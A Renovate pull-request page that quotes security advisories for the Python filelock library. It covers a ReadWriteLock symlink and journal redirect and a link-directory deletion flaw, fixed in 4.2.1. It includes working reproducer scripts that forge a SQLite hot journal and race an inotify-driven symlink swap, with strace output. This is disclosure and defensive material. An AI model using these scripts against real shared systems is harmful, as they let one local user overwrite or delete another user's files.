/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: False
BUG
```
The scanner showed the sweep variant by hand with the same setup and no lock held. As `attacker`, one rename of `victim_project` to `.filelock-2147483647--<digest>-x` with `<digest> = hashlib.sha256(socket.gethostname().encode()).hexdigest()[:16]`, then `ReadWriteLock("/tmp/shared-cache/cache.db")` as `victim` with `/proc` hidden. `notes.txt` is gone after the constructor returns and the directory contains only `cache.db`.
Our verification: `BUG` on `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #​834 head: `OK`; the listing after the release is `['.filelock-12--4fd1986a778d5977-amfxfd9k', 'cache.db', 'moved-aside']`, `notes.txt exists: True`, and the `victim` program exits 0. Neither the scanner nor the review executed on macOS; the macOS claim rests on the `descriptor_usable` branch and the identical code after it.
##### Impact
The other user chooses any directory that sits in the shared parent, and the lock user's process deletes it and everything in it with the lock user's permissions and no error; the lock user's program reports success. Without filelock that user can rename such a directory but cannot remove a non-empty one whose contents they have no permission on. With filelock the lock user's process destroys the contents. The release variant needs two `rename` calls at any point while the lock user holds the lock and wins no race against filelock's own code. The sweep variant needs one rename and no held lock, and fires on the next lock construction by any lock user process in that directory. The real link directory stays under its new name with an extra hard link to the database.
It is **not** reachable on stock Linux with `/proc` mounted at 4.2.0. The release variant is **not** reachable in a sticky directory. This is the same position as in GHSA-j8f7-rjxc-mr56 (a user who can change names in a shared lock directory). Here the name is the derived `.filelock-*` directory rather than the database, and the redirected operation is a recursive delete.
##### Workarounds
- On macOS, and on any POSIX system where `/proc/self/fd` is unavailable, keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory.
- Do not keep other directories of value beside a lock database in a directory other accounts can write; the deletion targets are siblings of the database.
- On Linux with `/proc` mounted, 4.2.0 does not take the link route and needs no workaround for this finding.
##### Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/834
##### Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)
- 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it
- 2026-10-16 01:15 UTC: fix PR #​834 opened
#### Severity
- CVSS Score: 6.1 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L`
#### References
- [https://github.com/tox-dev/filelock/security/advisories/GHSA-jqc4-5cvw-7w85](https://github.com/tox-dev/filelock/security/advisories/GHSA-jqc4-5cvw-7w85)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-112937](https://nvd.nist.gov/vuln/detail/CVE-2026-112937)
- [https://github.com/tox-dev/filelock/pull/834](https://github.com/tox-dev/filelock/pull/834)
- [https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d](https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d)
- [https://github.com/tox-dev/filelock](https://github.com/tox-dev/filelock)
- [https://github.com/tox-dev/filelock/releases/tag/4.2.1](https://github.com/tox-dev/filelock/releases/tag/4.2.1)
This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jqc4-5cvw-7w85) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files
[CVE-2026-112940](https://nvd.nist.gov/vuln/detail/CVE-2026-112940) / [GHSA-v4x8-3wr5-3wq8](https://github.com/advisories/GHSA-v4x8-3wr5-3wq8)
<details>
<summary>More information</summary>
#### Details
`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/<n>`, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.
Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4).
Anthropic's OSS Scanner reported this in private as `ANT-2026-KMJ2575J` [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.
##### Severity
**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 7.1 (High).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. `I:H` (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. `A:H` (high availability impact): the other user makes every acquire fail or kills the lock holder. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.
Classification from the external review: **conditional security**, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.
##### Scope and preconditions
- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a `0777` directory or a group-writable one (including a setgid `2775` project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is `0666`. filelock itself creates the database `0600`.
- Sticky directories (`/tmp`, `/var/tmp`, any `1777` directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with `fs.protected_regular=2`). What remains is a planted non-empty `<db>-wal` (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise `sqlite3.OperationalError: disk I/O error`. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if `fs.protected_hardlinks=0`.
- Two kernel settings matter. `fs.protected_regular` (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in `/tmp`, and SQLite follows a planted symlink itself (not tested). `fs.protected_hardlinks=1` (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory.
- Platform and route. The `/proc/self/fd` redirect is Linux with `/proc` mounted, 4.0.9 and later. The side-file variants (`-journal`, `-wal`, `-shm`) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without `/proc`) they need the link-directory swap described under "Mechanism", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.
- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.
##### Affected code
At the scanned commit `b831496b0273`: [`_connect_through_descriptor` builds `/proc/self/fd/<n>` and hands it to `sqlite3.connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L982-L1001). The assumption is the [comment at line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), "Descriptor paths reopen the validated inode" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened at [`PRAGMA journal_mode=MEMORY`, line 816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). The check in [`_raise_if_database_replaced` at line 836](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L836) runs only after `BEGIN`. Both [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029).
##### Introduced
The `/proc/self/fd` redirect came with `4d45e83` ("Merge commit from fork", the fix for GHSA-j8f7-rjxc-mr56), first released in **4.0.9** (verified: `git tag --contains 4d45e83` gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on `cfd4446` ("feat(lock): add SQLite-based ReadWriteLock (#​399)"), first released in **3.20.4** (verified), which passed the lock path straight to `sqlite3.connect`.
##### Mechanism
On Linux the lock opens the database with `O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK`. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls `sqlite3.connect("/proc/self/fd/<n>")` and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs `readlink()` on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows `readlink("/proc/534/fd/3") = "/tmp/benign/app.lock.db"` and then a second `openat` of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is `<database> (deleted)`. A symlink with that exact name sends SQLite wherever its creator chose.
The other user prepares the directory before the lock user runs. They create a database `cache.lock.db` (`0666`, so the lock user's lock accepts it) with a second hard link `cache.lock.db.keep`, and the symlink `cache.lock.db (deleted) -> /tmp/victim-notes.txt`. The lock user's `os.open` raises an inotify `IN_OPEN` event. The other user unlinks `cache.lock.db` and links `cache.lock.db.keep` back under the same name. The lock user's descriptor still refers to the unlinked entry, so `/proc/self/fd/3` now reads `/tmp/shared-cache/cache.lock.db (deleted)`. `sqlite3.connect` resolves it, follows the symlink and opens the target `O_RDWR|O_CREAT`. None of filelock's checks look at that file. `_open_lock_database` and `_raise_if_wal` inspect descriptor 3. `_raise_if_database_replaced` compares an `lstat` of the lock path with the descriptor's `(st_dev, st_ino)`, which passes because the other user linked the same inode back, and it runs only after `BEGIN`.
The damage comes from the first statement, `PRAGMA journal_mode=MEMORY`. SQLite finds `<target>-journal`, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):
```
openat("/tmp/shared-cache/cache.lock.db", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3
readlink("/proc/3819/fd/3", "/tmp/shared-cache/cache.lock.db (deleted)", 4096) = 41
readlink("/tmp/shared-cache/cache.lock.db (deleted)", "/tmp/victim-notes.txt", 4096) = 21
openat("/tmp/victim-notes.txt", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4
openat("/tmp/victim-notes.txt-journal", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5
pread64(5, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 516) = 4096
pwrite64(4, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 0) = 4096
unlink("/tmp/victim-notes.txt-journal") = -1 EPERM -> "disk I/O error"
```
The redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with `O_CREAT`. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty, `0644`, owned by the lock user) and raised nothing. With the symlink pointing at a `0600` WAL-mode SQLite database of the lock user, `write_lock()` returned without error and the database's header bytes 18 and 19 changed from `2 2` to `1 1`. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.
**Side-file names beside the database.** Two comments record the belief that SQLite names its side files after the descriptor path ([line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), [line 1095](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1095)). The path is not synthetic to SQLite. It derives `<database>-journal`, `<database>-wal` and `<database>-shm` from the resolved real path in the shared directory. `journal_mode=MEMORY` governs only journals SQLite would write, not ones it finds. These variants need no redirect.
*A hot `-journal` makes the lock user unlink a file the journal names; no race.* The other user unlinks the lock user's empty `lock.db`, puts a one-page SQLite database (`0666`) in its place, and writes a 46-byte `lock.db-journal`: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a "super-journal", and recovery ends by unlinking that file. The lock user's next `read_lock()` or `write_lock()` returns without error and the named file is gone (`unlink("/home/victim/private/notes.txt") = 0`, from a `0700` directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as `lock.db-journal` instead blocks `read_lock(timeout=2)` in SQLite's `open()` of the journal (still blocked when killed after 10 s).
*A re-planted `-wal` puts the holder in WAL mode past `_raise_if_wal`.* `_raise_if_wal` checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats `<db>-wal`, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks `-wal` and `-shm`. The `BEGIN` at line 833 is a separate statement that starts unlocked and stats `<db>-wal` again. Re-creating the 32-byte `-wal` in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.
The lock user's `with lock.write_lock():` then holds the `-shm` byte-120 WAL write lock and only SHARED on the database. Once the other user removes the `-wal`, a second process of the lock user gets `read_lock(timeout=1)` granted while the writer is inside its block, with no exception on either side. SQLite also creates `<db>-shm` with the database's permission bits (`0666`) and keeps it mapped into memory. After the other user truncates it, the writer dies with `SIGBUS` (the signal for touching a mapped file region that no longer exists) in `connection.rollback()` during `release()`.
*A `-wal` in a sticky directory makes every acquire raise; no race, no access to the database.* Beside the lock user's own empty `0600` database, a non-empty `<db>-wal` (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a `1777` directory the lock user cannot unlink another user's file (`unlink(...) = -1 EPERM`), so the pragma fails with `SQLITE_IOERR_DELETE`. The code in [`_do_acquire_inner`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) translates only "database is locked" into `Timeout`. `sqlite3.OperationalError: disk I/O error` therefore leaves every `acquire_read()` / `acquire_write()` (and the async variants) within milliseconds, whatever `timeout` or `blocking` says, until the file's owner or root removes it.
*Further effects observed at this commit in a non-sticky directory.* A `0755` script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raises `file is not a database`). A hard link to the lock user's `0600` `~/.profile` at the lock path does the same in a sticky `/tmp` when `fs.protected_hardlinks=0`. When the locking process runs as root, SQLite runs `fchown` on a `-wal` or `-shm` it opens to match the owner of the database, so root's `0600` `service.env` renamed to `app.lock.db-wal` belonged to the other user after root's `read_lock()`.
A journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so `acquire_read` returns with no lock held in `/proc/locks` and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte `lock.db-wal` plus a `lock.db-shm` on which the other user holds two byte locks makes the acquire take 10 s regardless of `timeout` and raise `locking protocol`, or die with `SIGBUS` if the other user truncates the `-shm`.
**The hard-link route in a directory without the sticky bit.** None of the above occurs on the `_link_beside` branch (macOS, Linux without `/proc`). There SQLite's main file is `.filelock-…/lock.db` in the connecting user's `0700` directory. That protection holds only where no other user can rename the `.filelock-*` entry itself, because `0700` protects the contents, not the entry in the parent. `_link_beside` checks the link once and returns a pathname, and every later use is by that name.
With `/proc` hidden in a `0777` directory, the other user staged a directory holding a hard link `lock.db` to a one-page database and a hot `lock.db-journal`. They held `BEGIN EXCLUSIVE` on the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's `.filelock-*` directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails with `EPERM`.
##### Reproduction
The scanner's reproducer for `ANT-2026-KMJ2575J`, quoted as received. It ran against commit `b831496b0273`.
**`repro`**
```python
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
as_victim = {"user": "victim", "group": "victim", "extra_groups": []}
as_attacker = {"user": "attacker", "group": "attacker", "extra_groups": []}
##### set up: the lock database lives in a shared cache directory, 0777 and not sticky
shared_dir = "/tmp/shared-cache"
lock_db = shared_dir + "/cache.lock.db"
shutil.rmtree(shared_dir, ignore_errors=True)
os.mkdir(shared_dir)
os.chmod(shared_dir, 0o777)
##### set up: a private 0600 file of the victim's in sticky /tmp, which the attacker cannot write
target = "/tmp/victim-notes.txt"
for leftover in (target, target + "-journal"):
if os.path.lexists(leftover):
os.unlink(leftover)
original = b"original victim notes\n"
with open(target, "wb") as notes:
notes.write(original)
shutil.chown(target, "victim", "victim")
os.chmod(target, 0o600)
direct_write = subprocess.run(
[sys.executable, "-c", "import sys; open(sys.argv[1], 'r+b')", target], capture_output=True, text=True, **as_attacker
)
print("attacker opening the target for writing:", direct_write.stderr.strip().splitlines()[-1])
assert direct_write.returncode != 0
##### attack: a hot journal beside the target, and a redirect of the victim's SQLite from the lock database to the target
content = "ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n"
subprocess.run([sys.executable, "/tmp/repro.d/plant_hot_journal.py", target, content], check=True, **as_attacker)
redirect = subprocess.Popen(
[sys.executable, "/tmp/repro.d/redirect_lock_db.py", lock_db, target], stdout=subprocess.PIPE, text=True, **as_attacker
)
assert redirect.stdout.readline() == "ready\n"
##### the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times
for run in range(1, 21):
victim = subprocess.run(
[sys.executable, "/tmp/repro.d/victim_app.py", lock_db], capture_output=True, text=True, timeout=60, **as_victim
)
with open(target, "rb") as notes:
after = notes.read()
if after != original:
break
redirect.kill()
redirect.wait()
##### check: taking a lock on cache.lock.db must leave the victim's notes alone
print(f"victim run {run}: exit status {victim.returncode}:", (victim.stderr.strip() or "no error").splitlines()[-1])
status = os.stat(target)
print("target owner, mode, size:", status.st_uid, oct(status.st_mode & 0o7777), status.st_size)
print("target before:", original)
print("target after: ", after[:60])
print("BUG" if after == content.encode().ljust(4096, b"\0") else "OK")
```
**`repro.d/plant_hot_journal.py`**
```python
#!/usr/bin/env python3
"""The attacker: leave a rollback journal beside TARGET whose one record restores TARGET's first page to CONTENT."""
import os
import struct
import sys
target, content = sys.argv[1], sys.argv[2].encode()
journal_path = target + "-journal"
##### https://www.sqlite.org/fileformat2.html#the_rollback_journal
JOURNAL_MAGIC = bytes.fromhex("d9d505f920a163d7")
page_size, sector_size, nonce = 4096, 512, 0x11223344
record_count = 1
pages_after_rollback = 1 # SQLite truncates TARGET to this many pages
header = JOURNAL_MAGIC + struct.pack(">IIIII", record_count, nonce, pages_after_rollback, sector_size, page_size)
page_number = 1 # page 1 starts at offset 0
page_image = content.ljust(page_size, b"\0")
##### SQLite's pager_cksum(): the nonce plus every 200th byte, counting down from page_size - 200
checksum = (nonce + sum(page_image[i] for i in range(page_size - 200, 0, -200))) & 0xFFFFFFFF
record = struct.pack(">I", page_number) + page_image + struct.pack(">I", checksum)
with open(journal_path, "wb") as journal:
journal.write(header.ljust(sector_size, b"\0") + record)
os.chmod(journal_path, 0o666) # the victim's SQLite opens a hot journal O_RDWR
```
**`repro.d/redirect_lock_db.py`**
```python
#!/usr/bin/env python3
"""The attacker: make the victim's SQLite, connecting through /proc/self/fd/<n>, open TARGET instead of LOCK_DB."""
import ctypes
import os
import sys
lock_db, target = sys.argv[1], sys.argv[2]
spare_name = lock_db + ".keep"
##### the attacker creates the lock database, world-writable so that the victim's ReadWriteLock accepts it
os.close(os.open(lock_db, os.O_CREAT | os.O_WRONLY))
os.chmod(lock_db, 0o666)
os.link(lock_db, spare_name)
##### what /proc/<pid>/fd/<n> reads back as once the name the descriptor was opened through is unlinked
os.symlink(target, lock_db + " (deleted)")
IN_OPEN = 0x20
libc = ctypes.CDLL(None, use_errno=True)
inotify = libc.inotify_init1(0)
if libc.inotify_add_watch(inotify, lock_db.encode(), IN_OPEN) < 0:
raise OSError(ctypes.get_errno(), "inotify_add_watch", lock_db)
print("ready", flush=True)
while True:
os.read(inotify, 4096) # the victim's ReadWriteLock has opened the database and is validating its descriptor
os.unlink(lock_db)
os.link(spare_name, lock_db) # the same inode back at the path, so filelock's later lstat sees no change
```
**`repro.d/victim_app.py`**
```python
#!/usr/bin/env python3
"""The victim: an application that takes its shared read lock once, as in docs/how-to.rst."""
import sys
from filelock import ReadWriteLock
rw = ReadWriteLock(sys.argv[1])
with rw.read_lock(timeout=5):
pass
```
##### Attack sequence
The redirect, with `A` the other local user:
```mermaid
sequenceDiagram
participant A as other local user
participant V as lock user's process (filelock)
participant S as SQLite inside that process
participant K as kernel and filesystem
rect rgb(255, 214, 214)
Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit
A->>K: create cache.lock.db (0666) and a second hard link cache.lock.db.keep
A->>K: symlink "cache.lock.db (deleted)" pointing at /tmp/victim-notes.txt
A->>K: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record)
V->>K: open(cache.lock.db, O_RDWR O_CREAT O_NOFOLLOW) gives fd 3, fstat says regular, header not WAL
K-->>A: inotify IN_OPEN on cache.lock.db
A->>K: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db)
V->>S: sqlite3.connect("/proc/self/fd/3")
S->>K: readlink(/proc/self/fd/3) returns "cache.lock.db (deleted)"
S->>K: open("cache.lock.db (deleted)") follows the symlink to victim-notes.txt
V->>S: PRAGMA journal_mode=MEMORY
S->>K: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt
Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user's 4096-byte page image, the lock user sees "disk I/O error"
V->>K: lstat(cache.lock.db) matches fd 3 identity, so _raise_if_database_replaced passes
end
```
The side-file variants, which need no redirect:
```mermaid
flowchart TD
B0["acquire validates fd, connects SQLite by a name in the shared directory"] --> B1{"what did the other user put beside the real path?"}
B1 -- "hot -journal beside a swapped-in one-page database" --> B2["PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds"]
B1 -- "-wal re-created between PRAGMA and BEGIN" --> B3["holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated"]
B1 -- "-wal in a sticky directory the lock user cannot unlink" --> B4["every acquire raises OperationalError disk I/O error, timeout ignored"]
B1 -- "name unlinked and a (deleted) symlink planted" --> B5["SQLite opens the symlink target with O_CREAT"]
classDef ok fill:#d8f3dc,stroke:#​2d6a4f,color:#​1b4332;
classDef bad fill:#ffd6d6,stroke:#c1121f,color:#​5c0000;
classDef info fill:#cfe4ff,stroke:#​1f6feb,color:#​0b1f3a;
class B0,B1 info;
class B2,B3,B4,B5 bad;
```
##### Evidence
The scanner's reproducer runs the documented `ReadWriteLock(path)` + `with rw.read_lock(timeout=5):` as user `victim` against `/tmp/shared-cache/cache.lock.db` (directory `0777`, not sticky) while user `attacker` holds the symlink and reacts to inotify. It first shows that `attacker` cannot write the target (`PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'`). On the first `victim` run it prints `victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error`, `target owner, mode, size: 1000 0o600 4096`, target before `b'original victim notes\n'`, after `b"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n\x00..."`, verdict `BUG`. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two `ReadWriteLock` instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The `-wal` re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.
Our verification: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #​834 head it prints `OK`: all 20 `victim` runs exit 0 with no error and the target stays `1000 0o600 22` bytes with its original content. The independent review also ran the sticky-directory `-wal` variant (a `0600` database owned by `victim` in a `1777` directory, other user plants `<db>-wal`). 4.2.0 raises `OperationalError: disk I/O error`; the PR head takes read and write locks with the file still present.
##### Impact
Another local user who can write the non-sticky directory holding the database makes the lock user's process act on a file other than the lock database, with the lock user's privileges, on Linux. The process writes bytes of the other user's choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create `<file>-journal` beside it (the lock user's own `0600` files in `/tmp` qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user's choosing per journal; the acquire succeeds and raises nothing. A process inside `write_lock()` stops excluding the lock user's other processes from `read_lock()`, and the holder can die from a `SIGBUS` that arrives in `release()`.
It is **not** reachable for a database the lock user owns in `/tmp` with `fs.protected_regular` 1 or 2. There only the planted `-wal` denial of service remains: every acquire raises an undocumented `sqlite3.OperationalError` that `Timeout` and `OSError` handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at `<database> (deleted)`. Windows does not take this path.
##### Workarounds
- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content.
- For a lock in a sticky directory keep `fs.protected_regular` at 1 or 2 and `fs.protected_hardlinks=1` (distribution defaults). Treat a sudden `sqlite3.OperationalError: disk I/O error` on every acquire as a foreign `<db>-wal` beside the database that the file's owner or root has to remove.
##### Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/834
##### Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)
- 2026-10-16 00:46 UTC: draft advisory created
- 2026-10-16 01:15 UTC: fix PR #​834 opened
#### Severity
- CVSS Score: 7.1 / 10 (High)
- Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`
#### References
- [https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8](https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-112940](https://nvd.nist.gov/vuln/detail/CVE-2026-112940)
- [https://github.com/tox-dev/filelock/pull/834](https://github.com/tox-dev/filelock/pull/834)
- [https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d](https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d)
- [https://github.com/tox-dev/filelock](https://github.com/tox-dev/filelock)
- [https://github.com/tox-dev/filelock/releases/tag/4.2.1](https://github.com/tox-dev/filelock/releases/tag/4.2.1)
This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-v4x8-3wr5-3wq8) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Configuration
📅 **Schedule**: (in timezone Europe/London)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR has been generated by [Mend Renovate](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODguMCIsInVwZGF0ZWRJblZlciI6IjQzLjI4OC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSIsInNlY3VyaXR5Il19-->
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
This PR contains the following updates:
4.1.0→4.2.1filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on through inode reuse
CVE-2026-112906 / GHSA-2g95-wg33-c5x2
More information
Details
SoftFileLockandMarkerSoftFileLockevict an unparsable marker (the lock file at<path>, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds.SoftFileLeaseexpires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.Another local user (the other user below) who can create files in the lock's directory, a sticky
